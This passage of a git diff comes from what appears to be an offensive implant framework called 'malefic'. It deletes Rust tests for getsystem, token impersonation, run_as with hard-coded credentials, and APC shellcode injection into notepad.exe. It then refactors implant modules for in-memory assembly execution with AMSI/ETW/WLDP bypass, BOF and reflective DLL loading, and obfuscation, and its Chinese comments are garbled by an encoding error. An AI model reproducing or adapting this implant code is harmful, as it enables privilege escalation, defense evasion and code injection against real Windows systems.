&config.name); - assert!(result.is_ok(), "Failed to start task: {:?}", result); -} - -#[test] -fn test_stop_task() { - let manager = TaskSchedulerManager::initialize().expect("Initialization failed"); - let config = test_task_config(); - manager.start_task(&config.path, &config.name).expect("Task start failed"); - - let result = manager.stop_task(&config.path, &config.name); - assert!(result.is_ok(), "Failed to stop task: {:?}", result); -} - -#[test] -fn test_query_task() { - let manager = TaskSchedulerManager::initialize().expect("Initialization failed"); - - let result = manager.query_task("\\", "TestTask"); - assert!(result.is_ok(), "Failed to query task: {:?}", result); - - if let Ok(status) = result { - println!("Task status: {:?}", status); - } -} - -#[test] -fn test_delete_task() { - let manager = TaskSchedulerManager::initialize().expect("Initialization failed"); - let config = test_task_config(); - - let result = manager.delete_task(&config.path, &config.name); - assert!(result.is_ok(), "Failed to delete task: {:?}", result); - - // Check if the task was deleted successfully by trying to query it - let query_result = manager.query_task(&config.path, &config.name); - assert!(query_result.is_err(), "Task should be deleted and no longer queryable"); -} - -#[test] -fn test_list_tasks() { - let manager = TaskSchedulerManager::initialize().expect("Initialization failed"); - - let result = manager.list_tasks("\\"); - assert!(result.is_ok(), "Failed to list tasks: {:#?}", result); - println!("Tasks: {:#?}", result); -} \ No newline at end of file diff --git a/malefic-helper/tests/test_service.rs b/malefic-helper/tests/test_service.rs deleted file mode 100644 index c815a77..0000000 --- a/malefic-helper/tests/test_service.rs +++ /dev/null @@ -1,131 +0,0 @@ -use std::ffi::OsString; -use std::path::PathBuf; -use malefic_helper::win::service::{ServiceErrorControl, ServiceManager, ServiceStartType}; - - -#[test] -fn test_create_service() { - let service_manager = ServiceManager::open().unwrap(); - - // 创建æœåŠ¡ - let service_config = service_manager - .create_service( - "TestService", - "Test Service Display", - "C:\\path\\to\\executable", - ServiceStartType::AutoStart, - ServiceErrorControl::Normal, - Some("LocalSystem"), - ) - .unwrap(); - - assert_eq!(service_config.name, "TestService"); - assert_eq!(service_config.display_name, OsString::from("Test Service Display")); - assert_eq!(service_config.executable_path, PathBuf::from("C:\\path\\to\\executable")); - assert_eq!(service_config.start_type, ServiceStartType::AutoStart); - assert_eq!(service_config.error_control, ServiceErrorControl::Normal); - assert_eq!(service_config.account_name, Some(OsString::from("LocalSystem"))); - - service_manager.close(); -} - - -#[test] -fn test_query_service() { - let service_manager = ServiceManager::open().unwrap(); - - // å°è¯•查询一个存在的æœåŠ¡ - let service_name = "TestService"; // ç¡®ä¿è¿™ä¸ªæœåС已ç»åˆ›å»ºå¹¶å­˜åœ¨äºŽæµ‹è¯•环境中 - let service_config = service_manager.query_service(service_name).unwrap(); - - // 验è¯è¿”回的æœåŠ¡é…ç½®ä¿¡æ¯ - assert_eq!(service_config.name, service_name); - assert!(service_config.display_name.to_str().is_some()); - assert!(service_config.executable_path.exists()); // ç¡®ä¿å¯æ‰§è¡Œè·¯å¾„存在 - assert!(service_config.start_type == ServiceStartType::AutoStart || - service_config.start_type == ServiceStartType::DemandStart); // 验è¯å¯åŠ¨ç±»åž‹ - - service_manager.close(); -} - -#[test] -fn test_start_stop_service() { - let service_manager = ServiceManager::open().unwrap(); - - // 首先查询æœåŠ¡ï¼Œç¡®ä¿å­˜åœ¨è¯¥æœåŠ¡ - let service_config = service_manager.query_service("TestService").unwrap(); - - // å¯åЍæœåŠ¡ - let start_result = service_manager.start_service(&service_config); - assert!(start_result.is_ok(), "Service failed to start"); - - // åœæ­¢æœåŠ¡ - let stop_result = service_manager.stop_service(&service_config); - assert!(stop_result.is_ok(), "Service failed to stop"); - - service_manager.close(); -} - -#[test] -fn test_delete_service() { - let service_manager = ServiceManager::open().unwrap(); - - // 首先查询æœåŠ¡ï¼Œç¡®ä¿å­˜åœ¨è¯¥æœåŠ¡ - let service_config = service_manager.query_service("TestService").unwrap(); - - // 删除æœåŠ¡ - let delete_result = service_manager.delete_service(&service_config); - assert!(delete_result.is_ok(), "Service failed to be deleted"); - - service_manager.close(); -} - -#[test] -fn test_list_services() { - // å°è¯•打开æœåŠ¡ç®¡ç†å™¨å¹¶æ•获任何错误 - let service_manager = match ServiceManager::open() { - Ok(manager) => manager, - Err(e) => { - eprintln!("Failed to open ServiceManager: {}", e); - return; // 直接返回,跳过åŽç»­æµ‹è¯• - } - }; - - // å°è¯•列出æœåС并æ•获结果 - let result = service_manager.list_services(); - match result { - Ok(services) => { - assert!(!services.is_empty(), "Service list should not be empty"); // ç¡®ä¿æœåŠ¡åˆ—è¡¨ä¸ä¸ºç©º - - for service in services { - println!("Service Name: {}", service.name); - println!("Executable Path: {:?}", service.executable_path); - println!("Start Type: {:?}", service.start_type); - println!("Error Control: {:?}", service.error_control); - } - } - Err(e) => { - eprintln!("Failed to list services: {}", e); - assert!(false, "Expected to list services but failed with error: {}", e); // 触å‘失败 - } - } - - service_manager.close(); -} - -#[test] -fn test_list_and_query_services() { - let service_manager = ServiceManager::open().unwrap(); - let result = service_manager.list_and_query(); - assert!(result.is_ok()); - - let services = result.unwrap(); - for service in services { - println!("Service Name: {}", service.config.name); - if let Some(status) = service.status { - println!("Service State: {:?}", status.current_state); - } - } - - service_manager.close(); -} diff --git a/malefic-helper/tests/test_token.rs b/malefic-helper/tests/test_token.rs deleted file mode 100644 index baf03bd..0000000 --- a/malefic-helper/tests/test_token.rs +++ /dev/null @@ -1,284 +0,0 @@ -use malefic_helper::win::common::to_wide_string; -use malefic_helper::win::process::get_current_pid; -use malefic_helper::win::token::{ - current_token_owner, enable_privilege, get_privs, get_process_integrity_level, has_privilege, - impersonate_process, lookup_privilege_name_by_luid, make_token, revert_to_self, run_as, - run_process_as_user, -}; -use malefic_helper::win::token::{get_system, get_token}; -use windows::core::PCWSTR; -use windows::Win32::Foundation::{CloseHandle, LUID}; -use windows::Win32::Security::{LookupPrivilegeValueW, TOKEN_QUERY}; -use windows::Win32::System::Threading::GetCurrentProcessId; - -#[test] -fn test_enable_privilege() { - // 传递 SE_DEBUG_NAME å­—ç¬¦ä¸²è€Œä¸æ˜¯ PCWSTR - match enable_privilege("SeDebugPrivilege") { - Ok(_) => println!("Successfully enabled SeDebugPrivilege."), - Err(e) => panic!("Failed to enable privilege: {:?}", e), - } -} - -#[test] -fn test_getsystem() { - let data = b"test data"; - let pid = get_current_pid(); - match get_system() { - Ok(_) => println!("Successfully got system."), - Err(e) => panic!("Failed to get system: {:?}", e), - } -} - -#[test] -fn test_impersonate_user() { - // 使用å‡è®¾çš„用户凭æ®è¿›è¡Œæ¨¡æ‹Ÿæµ‹è¯• - let user_name = "newadmin"; - let domain = ""; - let password = "password123"; - - match make_token(user_name, domain, password) { - Ok(_) => println!("Successfully impersonated user."), - Err(e) => println!("Failed to impersonate user: {:?}", e), - } -} - -#[test] -fn test_revert_to_self() { - // 测试æ¢å¤åˆ°åŽŸå§‹ç”¨æˆ·ä¸Šä¸‹æ–‡ - if let Err(e) = revert_to_self() { - panic!("Failed to revert to self: {:?}", e); - } else { - println!("Successfully reverted to self."); - } -} - -#[test] -fn test_impersonate_process() { - // 使用当å‰è¿›ç¨‹çš„ PID 测试 impersonation - let pid = 12468; - match impersonate_process(pid) { - Ok(handle) => unsafe { - println!("Successfully impersonated process with PID: {}", pid); - CloseHandle(handle).unwrap(); - }, - Err(e) => panic!("Failed to impersonate process: {:?}", e), - } -} - -#[test] -fn test_run_process_as_user() { - let user_name = "newadmin"; - let command = "notepad.exe"; - let args = ""; - - match run_process_as_user(user_name, command, args) { - Ok(_) => println!("Process ran successfully as user: {}", user_name), - Err(e) => panic!("Failed to run process as user: {:?}", e), - } -} - -#[test] -fn test_get_process_integrity_level() { - let token_handle = get_token(unsafe { GetCurrentProcessId() }, TOKEN_QUERY).unwrap(); - match get_process_integrity_level(token_handle) { - Ok(level) => println!("Process integrity level: {}", level), - Err(e) => panic!("Failed to get process integrity level: {:?}", e), - } -} - -#[test] -fn test_lookup_privilege_name_by_luid() { - // 使用 SeShutdownPrivilege 作为示例特æƒå - let privilege_name = "SeShutdownPrivilege"; - let mut luid = LUID::default(); - - unsafe { - // 先通过 LookupPrivilegeValueW 获å–该特æƒçš„ LUID - if LookupPrivilegeValueW( - None, - PCWSTR(to_wide_string(privilege_name).as_ptr()), - &mut luid, - ) - .is_err() - { - panic!("Failed to lookup LUID for privilege: {}", privilege_name); - } - } - - // ç„¶åŽè°ƒç”¨ lookup_privilege_name_by_luid æ¥èŽ·å–æƒé™å称和显示åç§° - match lookup_privilege_name_by_luid(luid) { - Ok((name, display_name)) => { - println!("Privilege name: {}, Display name: {}", name, display_name); - } - Err(e) => panic!("Failed to lookup privilege name: {:?}", e), - } -} - -#[test] -fn test_get_privs() { - // 获å–并打å°å½“å‰è¿›ç¨‹çš„æƒé™åˆ—表 - match get_privs() { - Ok(privileges) => { - for (name, display_name) in privileges { - println!("Privilege: {}, Display Name: {}", name, display_name); - } - } - Err(e) => panic!("Failed to get privileges: {:?}", e), - } -} - -#[test] -fn test_current_token_owner() { - // 获å–当å‰çº¿ç¨‹çš„ token 所属者 - match current_token_owner() { - Ok(owner) => println!("Current token owner: {}", owner), - Err(e) => panic!("Failed to get current token owner: {:?}", e), - } -} - -#[test] -fn test_run_as() { - let username = "hunter"; - let domain = ""; - let password = "zmalqp2112"; - let program = "whoami"; - let args = ""; - - // 测试基本è¿è¡Œ - match run_as( - username, domain, password, program, args, false, false, false, - ) { - Ok(output) => println!( - "Successfully ran process with basic options. Output: {}", - output - ), - Err(e) => println!("Failed to run process with basic options: {:?}", e), - } - - // æµ‹è¯•ç½‘ç»œå‡­æ®æ¨¡å¼ - match run_as( - username, domain, password, program, args, true, false, false, - ) { - Ok(output) => println!( - "Successfully ran process with network credentials. Output: {}", - output - ), - Err(e) => println!("Failed to run process with network credentials: {:?}", e), - } - - // 测试加载用户é…置文件 - match run_as( - username, domain, password, program, args, false, true, false, - ) { - Ok(output) => println!( - "Successfully ran process with user profile. Output: {}", - output - ), - Err(e) => println!("Failed to run process with user profile: {:?}", e), - } - - // 测试继承环境å˜é‡ - match run_as( - username, domain, password, program, args, false, false, true, - ) { - Ok(output) => println!( - "Successfully ran process with inherited environment. Output: {}", - output - ), - Err(e) => println!("Failed to run process with inherited environment: {:?}", e), - } - - // 测试组åˆé€‰é¡¹ - match run_as(username, domain, password, program, args, false, true, true) { - Ok(output) => println!( - "Successfully ran process with combined options. Output: {}", - output - ), - Err(e) => println!("Failed to run process with combined options: {:?}", e), - } -} - -#[test] -fn test_has_privilege() { - // 测试一些常è§çš„ç‰¹æƒ - let privileges = vec![ - "SeDebugPrivilege", - "SeShutdownPrivilege", - "SeBackupPrivilege", - "SeRestorePrivilege", - ]; - - for privilege in privileges { - match has_privilege(privilege) { - Ok(has_priv) => { - println!( - "Privilege {} status: {}", - privilege, - if has_priv { "enabled" } else { "disabled" } - ); - - // 如果æƒé™æœªå¯ç”¨ï¼Œå°è¯•å¯ç”¨å®ƒ - if !has_priv { - match enable_privilege(privilege) { - Ok(_) => { - // 冿¬¡æ£€æŸ¥æƒé™çŠ¶æ€ - match has_privilege(privilege) { - Ok(now_has_priv) => { - println!( - "After enabling, privilege {} status: {}", - privilege, - if now_has_priv { "enabled" } else { "disabled" } - ); - } - Err(e) => println!( - "Failed to check privilege status after enabling: {:?}", - e - ), - } - } - Err(e) => println!("Failed to enable privilege: {:?}", e), - } - } - } - Err(e) => println!("Failed to check privilege {}: {:?}", privilege, e), - } - } -} - -#[test] -fn test_enable_and_check_privilege() { - let privilege = "SeDebugPrivilege"; - - // 先检查åˆå§‹çŠ¶æ€ - let initial_state = has_privilege(privilege).unwrap_or(false); - println!( - "Initial state of {}: {}", - privilege, - if initial_state { "enabled" } else { "disabled" } - ); - - // å°è¯•å¯ç”¨æƒé™ - match enable_privilege(privilege) { - Ok(_) => { - println!("Successfully called enable_privilege for {}", privilege); - - // 检查是å¦çœŸçš„å¯ç”¨äº† - match has_privilege(privilege) { - Ok(enabled) => { - println!( - "Privilege {} is now {}", - privilege, - if enabled { "enabled" } else { "still disabled" } - ); - assert!( - enabled, - "Privilege should be enabled after enable_privilege call" - ); - } - Err(e) => panic!("Failed to check privilege status: {:?}", e), - } - } - Err(e) => println!("Failed to enable privilege: {:?}", e), - } -} diff --git a/malefic-helper/tests/test_win.rs b/malefic-helper/tests/test_win.rs deleted file mode 100644 index 709e84e..0000000 --- a/malefic-helper/tests/test_win.rs +++ /dev/null @@ -1,20 +0,0 @@ -#[cfg(target_os = "windows")] -#[test] -pub fn test_loader() { - let mut str = String::new(); - let _ = std::io::stdin().read_line(&mut str); - let file = std::fs::read("../loader.bin").unwrap(); - println!("[+] file size: {}", file.len()); - unsafe { - let loader = malefic_helper::win::loader::apc::loader( - file, - false, - "C:\\Windows\\System32\\notepad.exe\x00".as_ptr() as _, - 0, - true, - true, - ); - println!("{:#?}", loader); - } - let _ = std::io::stdin().read_line(&mut str); -} diff --git a/malefic-helper/tests/test_wmi.rs b/malefic-helper/tests/test_wmi.rs deleted file mode 100644 index eee076d..0000000 --- a/malefic-helper/tests/test_wmi.rs +++ /dev/null @@ -1,32 +0,0 @@ -use std::collections::HashMap; -use wmi::Variant; -use malefic_helper::win::wmi::WmiManager; - -#[test] -fn test_execute_query() { - let manager = WmiManager::open(Some("ROOT\\CIMV2")).expect("Failed to open WMI connection"); - - // 执行通用查询,例如查询 Win32_Process 的实例 - let query = "SELECT * FROM meta_class WHERE __CLASS = 'Win32_Process'"; - let results = manager.execute_query(query) - .unwrap_or_else(|e| panic!("Failed to execute WMI query: {}", e)); - - // 打å°ç»“æžœ - println!("Results of SELECT * FROM Win32_Process: {:?}", results); - - // 检查是å¦è¿”回了至少一个进程实例 - assert!(!results.is_empty(), "No instances found for query Win32_Process"); -} - -#[test] -fn test_execute_method() { - let manager = WmiManager::open(Some("ROOT\\CIMV2")).expect("Failed to open WMI connection"); - - // 为 Win32_Process.Create æ–¹æ³•æž„å»ºå‚æ•°ï¼ˆå¯åЍ notepad.exe) - let mut params = HashMap::new(); - params.insert("CommandLine".to_string(), Variant::String("notepad.exe".to_string())); - - // 执行 Win32_Process çš„ Create 方法 - let result = manager.execute_method("Win32_Process", "Create", params); - println!("Result of Win32_Process.Create: {:?}", result.unwrap()); -} \ No newline at end of file diff --git a/malefic-modules/Cargo.toml b/malefic-modules/Cargo.toml index e246ffd..981e78f 100644 --- a/malefic-modules/Cargo.toml +++ b/malefic-modules/Cargo.toml @@ -18,6 +18,7 @@ crate-type = ["cdylib", "rlib"] default = ["full"] disable_register = [] +as_module_dll = ["malefic-module/ffi"] nano = [] @@ -28,28 +29,28 @@ base = [ ] extend = [ - "bypass", - "kill", - "whoami", - "ps", - "netstat", - "registry", - "service", - "taskschd", - "wmi", - "execute_bof", - "execute_shellcode", - "execute_assembly", + "bypass", + "kill", + "whoami", + "ps", + "netstat", + "registry", + "service", + "taskschd", + "execute_bof", + "execute_shellcode", + "execute_assembly", "execute_armory", - "execute_exe", - "execute_dll", - "execute_local", - "mkdir", + "execute_exe", + "execute_dll", + "execute_local", + "mkdir", + "touch", "chmod" ] fs_full = [ - "ls", "cd", "rm", "cp", "mv", "pwd", "mem", "mkdir", "chown", "chmod", "cat", "pipe","enum_drivers" + "ls", "cd", "rm", "cp", "mv", "pwd", "mem", "mkdir", "chown", "chmod", "cat", "touch", "pipe","enum_drivers" ] enum_drivers = [] @@ -62,34 +63,38 @@ mv = [] pwd = [] mem = [] mkdir = [] +touch = [] chmod = [] chown = [] cat = [] -pipe = [] +pipe = ["malefic-os-win/pipe"] sys_full = [ - "info", "ps", "id", "env", "whoami", "kill", "bypass", "netstat", "wmi", "service", "inject", + "info", "ps", "id", "env", "whoami", "kill", "bypass", "netstat", "service", "inject", "registry", "taskschd", - "getsystem", "runas", "privs", "rev2self" + "getsystem", "runas", "privs", "rev2self", + "self_dele", + "wmi" ] -info = ["malefic-helper/sysinfo"] -ps = ["malefic-helper/sysinfo"] +info = [] +ps = [] id = [] env = [] -whoami = ["malefic-helper/sysinfo"] -kill = ["malefic-helper/sysinfo"] -bypass = [] +whoami = [] +kill = [] +bypass = ["malefic-os-win/bypass"] netstat = [] -wmi = ["malefic-helper/wmi"] -service = [] -registry = [] -taskschd = [] -getsystem = [] -runas = [] -rev2self = [] -privs = [] -inject = [] +service = ["malefic-os-win/service"] +registry = ["malefic-os-win/reg"] +taskschd = ["malefic-os-win/scheduler"] +getsystem = ["malefic-os-win/token"] +runas = ["malefic-os-win/token"] +rev2self = ["malefic-os-win/token"] +privs = ["malefic-os-win/token"] +inject = ["malefic-os-win/token"] +self_dele = [] +wmi = ["malefic-os-win/wmi"] execute_full = [ "execute_assembly", @@ -108,17 +113,18 @@ execute_full = [ exec = [] open = [] -execute_shellcode = [] +execute_shellcode = ["malefic-loader/Win_Inject_APC"] execute_bof = [] -execute_assembly = ["malefic-helper/clr"] -execute_powershell = ["malefic-helper/clr"] +execute_assembly = ["malefic-os-win/clr", "malefic-os-win/bypass", "malefic-sysinfo/clr"] +execute_powershell = ["malefic-os-win/clr", "malefic-os-win/bypass", "malefic-sysinfo/clr"] execute_armory = [] execute_exe = [] execute_dll = [] execute_local = [] dllspawn = [] +thread_spawn_test = [] inline_local = [] -bof = ["execute_bof"] + net = [] net_full = ["upload", "download"] @@ -128,19 +134,26 @@ download = [] [dependencies] anyhow = { workspace = true } -thiserror = { workspace = true } futures = { workspace = true } +futures-channel = { workspace = true } futures-timer = { workspace = true } -obfstr = { workspace = true } +malefic-gateway = { workspace = true } +malefic-features = { workspace = true } async-trait = { workspace = true } -lazy_static = { workspace = true } -malefic-helper = { path= "../malefic-helper" } -malefic-trait = { path = "../malefic-trait"} -malefic-proto = { path = "../malefic-proto" } -tokio = { workspace = true, features = ["time", "rt"] } +malefic-common = { workspace = true } +malefic-process = { workspace = true } +malefic-net = { workspace = true } +malefic-sysinfo = { workspace = true } +malefic-loader = { workspace = true } +malefic-proto = { workspace = true } +malefic-module = { workspace = true } tar = { workspace = true } +[target.'cfg(target_os = "windows")'.dependencies] +malefic-os-win = { workspace = true } + -[build-dependencies] -prost-build = { workspace = true } -lazy_static = { workspace = true } +[dev-dependencies] +tokio = { workspace = true, features = ["rt", "rt-multi-thread", "macros", "time"] } +futures-channel = { workspace = true } +sha2 = { workspace = true } diff --git a/malefic-modules/src/execute/dllspawn.rs b/malefic-modules/src/execute/dllspawn.rs index d49f75f..39c048e 100644 --- a/malefic-modules/src/execute/dllspawn.rs +++ b/malefic-modules/src/execute/dllspawn.rs @@ -1,8 +1,7 @@ -use malefic_helper::common::utils::format_cmdline; -use malefic_helper::win::kit::pe::reflective_loader::reflective_loader; -use malefic_proto::proto::modulepb::BinaryResponse; use crate::prelude::*; - +use malefic_common::utils::format_cmdline; +use malefic_os_win::kit::pe::reflective_loader::reflective_loader; +use malefic_proto::proto::modulepb::BinaryResponse; pub struct ExecuteDllSpawn {} @@ -11,12 +10,13 @@ pub struct ExecuteDllSpawn {} impl Module for ExecuteDllSpawn {} #[async_trait] -impl malefic_proto::module::ModuleImpl for ExecuteDllSpawn { +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteDllSpawn { async fn run( &mut self, id: u32, - receiver: &mut malefic_proto::module::Input, - _sender: &mut malefic_proto::module::Output, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, ) -> ModuleResult { let request = check_request!(receiver, Body::ExecuteBinary)?; let bin = request.bin; @@ -47,17 +47,17 @@ impl malefic_proto::module::ModuleImpl for ExecuteDllSpawn { } error = String::new(); } else { - error = obfstr::obfstr!("sacrifice is none").to_string(); + error = malefic_gateway::obfstr::obfstr!("sacrifice is none").to_string(); } - Ok(TaskResult::new_with_body(id, Body::BinaryResponse(BinaryResponse { - status: 0, - message: Vec::new(), - data: result, - err: error, - })) - ) - + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: result, + err: error, + }), + )) } } - diff --git a/malefic-modules/src/execute/exec.rs b/malefic-modules/src/execute/exec.rs index dd96da7..a8550e5 100644 --- a/malefic-modules/src/execute/exec.rs +++ b/malefic-modules/src/execute/exec.rs @@ -1,11 +1,11 @@ -use futures::{AsyncReadExt, FutureExt, SinkExt}; use futures::channel::mpsc::{self, UnboundedReceiver, UnboundedSender}; +use futures::{AsyncReadExt, FutureExt, SinkExt}; use futures_timer::Delay; use std::time::Duration; -use malefic_helper::common::process::{async_command, run_command}; -use malefic_proto::proto::modulepb::ExecResponse; use crate::prelude::*; +use malefic_process::{async_command, run_command}; +use malefic_proto::proto::modulepb::ExecResponse; pub struct Exec {} @@ -15,7 +15,7 @@ enum OutputData { Stderr(Vec), } -// 异步读å–ç®¡é“æ•°æ®å¹¶å‘é€åˆ° channel +// Asynchronously read pipe data and send to channel async fn read_pipe_async( mut reader: R, sender: UnboundedSender, @@ -35,33 +35,33 @@ async fn read_pipe_async( }; if sender.unbounded_send(output).is_err() { - break; // Channel 已关闭 + break; // Channel closed } } - Err(_) => break, // 读å–错误 + Err(_) => break, // Read error } } } - - #[async_trait] #[module_impl("exec")] impl Module for Exec {} #[async_trait] -impl malefic_proto::module::ModuleImpl for Exec { +#[obfuscate] +impl malefic_module::ModuleImpl for Exec { #[allow(unused_variables)] async fn run( &mut self, id: u32, - receiver: &mut malefic_proto::module::Input, - sender: &mut malefic_proto::module::Output, - ) -> malefic_proto::module::ModuleResult { + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> malefic_module::ModuleResult { let request = check_request!(receiver, Body::ExecRequest)?; let mut exec_response = ExecResponse::default(); if request.realtime && request.output { + // Mode 1: Realtime streaming — send output chunks every second let mut child = async_command(request.path, request.args)?; let stdout = child.stdout.take().unwrap(); let stderr = child.stderr.take().unwrap(); @@ -70,20 +70,24 @@ impl malefic_proto::module::ModuleImpl for Exec { let (sender_ch, mut receiver_ch) = mpsc::unbounded::(); let stdout_task = read_pipe_async(stdout, sender_ch.clone(), true); let stderr_task = read_pipe_async(stderr, sender_ch, false); - let background_task = async { futures::join!(stdout_task, stderr_task); }.fuse(); + let background_task = async { + futures::join!(stdout_task, stderr_task); + } + .fuse(); futures::pin_mut!(background_task); - - let collect_data = |receiver: &mut UnboundedReceiver| -> (Vec, Vec) { - let (mut stdout_data, mut stderr_data) = (Vec::new(), Vec::new()); - while let Ok(Some(data)) = receiver.try_next() { - match data { - OutputData::Stdout(data) => stdout_data.extend_from_slice(&data), - OutputData::Stderr(data) => stderr_data.extend_from_slice(&data), + + let collect_data = + |receiver: &mut UnboundedReceiver| -> (Vec, Vec) { + let (mut stdout_data, mut stderr_data) = (Vec::new(), Vec::new()); + while let Ok(Some(data)) = receiver.try_next() { + match data { + OutputData::Stdout(data) => stdout_data.extend_from_slice(&data), + OutputData::Stderr(data) => stderr_data.extend_from_slice(&data), + } } - } - (stdout_data, stderr_data) - }; - + (stdout_data, stderr_data) + }; + loop { futures::select! { _ = Delay::new(Duration::from_secs(1)).fuse() => { @@ -118,17 +122,18 @@ impl malefic_proto::module::ModuleImpl for Exec { } } else if request.realtime { let child = run_command(request.path, request.args)?; + } else if request.output { + // Mode 2: Wait for process, collect all output at once + let child = async_command(request.path, request.args)?; exec_response.pid = child.id(); - let output = child.wait_with_output()?; + let output = child.output().await?; exec_response.status_code = output.status.code().unwrap_or(0); - if request.output { - exec_response.stdout = output.stdout; - exec_response.stderr = output.stderr; - } + exec_response.stdout = output.stdout; + exec_response.stderr = output.stderr; } else { + // Mode 3: Fire-and-forget background execution, return PID only let child = async_command(request.path, request.args)?; - let pid = child.id(); - exec_response.pid = pid; + exec_response.pid = child.id(); exec_response.status_code = 0; } diff --git a/malefic-modules/src/execute/execute_armory.rs b/malefic-modules/src/execute/execute_armory.rs index 42eaa60..99f4cc7 100644 --- a/malefic-modules/src/execute/execute_armory.rs +++ b/malefic-modules/src/execute/execute_armory.rs @@ -5,17 +5,17 @@ use futures::StreamExt; use std::ptr::null_mut; use std::sync::{Arc, Mutex}; -use malefic_helper::common::utils::format_cmdline; -use malefic_helper::win::kit::func::get_func_addr; -use malefic_helper::win::kit::pe::{hijack_commandline, load_pe}; -use malefic_helper::win::kit::MaleficModule; -use malefic_helper::win::types::DllMain; -use malefic_proto::proto::modulepb::BinaryResponse; use crate::prelude::*; +use malefic_common::utils::format_cmdline; +use malefic_os_win::kit::apis::m_get_func_addr_with_module_base; +use malefic_os_win::kit::pe::{hijack_commandline, load_pe}; +use malefic_os_win::kit::MaleficModule; +use malefic_os_win::types::DllMain; +use malefic_proto::proto::modulepb::BinaryResponse; -lazy_static::lazy_static! { +malefic_gateway::lazy_static! { static ref ARMORY_CHANNEL: Arc, UnboundedReceiver)>> = { - let (sender, receiver) = unbounded(); // 使用 futures çš„ unbounded channel + let (sender, receiver) = unbounded(); // Use futures unbounded channel Arc::new(Mutex::new((sender, receiver))) }; } @@ -24,6 +24,7 @@ const SUCCESS: usize = 0; type ArmoryCallback = extern "C" fn(*const c_void, usize) -> usize; type ArmoryFunc = extern "C" fn(*const c_void, usize, ArmoryCallback) -> usize; +#[obfuscate] pub extern "C" fn armory_callback(data: *const c_void, data_len: usize) -> usize { let channel = ARMORY_CHANNEL.clone(); let final_data; @@ -35,7 +36,7 @@ pub extern "C" fn armory_callback(data: *const c_void, data_len: usize) -> usize } block_on(async { if let Ok(channel) = channel.lock() { - let _ = channel.0.unbounded_send(final_data); // 使用 unbounded_send 替代 send + let _ = channel.0.unbounded_send(final_data); // Use unbounded_send instead of send } }); SUCCESS @@ -48,14 +49,14 @@ pub struct ExecuteArmory {} impl Module for ExecuteArmory {} #[async_trait] -impl malefic_proto::module::ModuleImpl for ExecuteArmory { - +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteArmory { #[allow(unused_variables)] async fn run( &mut self, id: u32, - receiver: &mut malefic_proto::module::Input, - sender: &mut malefic_proto::module::Output, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, ) -> ModuleResult { let request = check_request!(receiver, Body::ExecuteBinary)?; let name = request.name + "\x00"; @@ -74,7 +75,8 @@ impl malefic_proto::module::ModuleImpl for ExecuteArmory { return to_error!(Err("Armory load failed, Failed to load PE file".to_string())); } hijack_commandline(&par); - let armory_entrypoint = get_func_addr((*armory).new_module as _, entrypoint); + let armory_entrypoint = + m_get_func_addr_with_module_base((*armory).new_module as _, entrypoint.as_bytes()); if armory_entrypoint.is_null() { return to_error!(Err("Failed to get entrypoint function address".to_string())); } @@ -97,7 +99,7 @@ impl malefic_proto::module::ModuleImpl for ExecuteArmory { ret = data.as_bytes().to_vec(); } } - malefic_helper::win::kit::pe::unload_pe(armory as _); + malefic_os_win::kit::pe::unload_pe(armory as _); }); } @@ -111,5 +113,4 @@ impl malefic_proto::module::ModuleImpl for ExecuteArmory { }), )) } - -} \ No newline at end of file +} diff --git a/malefic-modules/src/execute/execute_assembly.rs b/malefic-modules/src/execute/execute_assembly.rs index d2cc123..0e44f31 100644 --- a/malefic-modules/src/execute/execute_assembly.rs +++ b/malefic-modules/src/execute/execute_assembly.rs @@ -1,7 +1,9 @@ -use malefic_proto::proto::modulepb::BinaryResponse; -use malefic_helper::win::kit::bypass::{bypass_amsi, bypass_etw, bypass_wldp, enable_amsi, enable_etw, enable_wldp}; -use malefic_helper::win::kit::clr::exec_assemble_in_memory; use crate::prelude::*; +use malefic_os_win::kit::bypass::{ + bypass_amsi, bypass_etw, bypass_wldp, enable_amsi, enable_etw, enable_wldp, +}; +use malefic_os_win::kit::clr::exec_assemble_in_memory; +use malefic_proto::proto::modulepb::BinaryResponse; pub struct ExecuteAssembly {} @@ -10,13 +12,14 @@ pub struct ExecuteAssembly {} impl Module for ExecuteAssembly {} #[async_trait] -impl malefic_proto::module::ModuleImpl for ExecuteAssembly { +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteAssembly { #[allow(unused_variables)] async fn run( &mut self, id: u32, - receiver: &mut malefic_proto::module::Input, - sender: &mut malefic_proto::module::Output, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, ) -> ModuleResult { let request = check_request!(receiver, Body::ExecuteBinary)?; let amsi_bypass = request.param.contains_key("bypass_amsi"); @@ -48,12 +51,14 @@ impl malefic_proto::module::ModuleImpl for ExecuteAssembly { } } - Ok(TaskResult::new_with_body(id, Body::BinaryResponse(BinaryResponse{ - status: 0, - message: Vec::new(), - data: result, - err: "".to_string(), - }))) + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: result, + err: "".to_string(), + }), + )) } - -} \ No newline at end of file +} diff --git a/malefic-modules/src/execute/execute_bof.rs b/malefic-modules/src/execute/execute_bof.rs index 3941a71..e9cfb68 100644 --- a/malefic-modules/src/execute/execute_bof.rs +++ b/malefic-modules/src/execute/execute_bof.rs @@ -1,6 +1,6 @@ -use malefic_proto::proto::modulepb::BinaryResponse; -use malefic_helper::win::kit::bof::bof_loader; use crate::prelude::*; +use malefic_os_win::kit::bof::bof_loader; +use malefic_proto::proto::modulepb::BinaryResponse; pub struct ExecuteBof {} @@ -9,13 +9,14 @@ pub struct ExecuteBof {} impl Module for ExecuteBof {} #[async_trait] -impl malefic_proto::module::ModuleImpl for ExecuteBof { +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteBof { #[allow(unused_variables)] async fn run( &mut self, id: u32, - receiver: &mut malefic_proto::module::Input, - sender: &mut malefic_proto::module::Output, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, ) -> ModuleResult { let request = check_request!(receiver, Body::ExecuteBinary)?; let bin = &request.bin; @@ -26,7 +27,7 @@ impl malefic_proto::module::ModuleImpl for ExecuteBof { } else { ep = Some(request.entry_point) } - let result: Vec; + let result: Vec; unsafe { let ret = bof_loader(bin, args, ep); result = 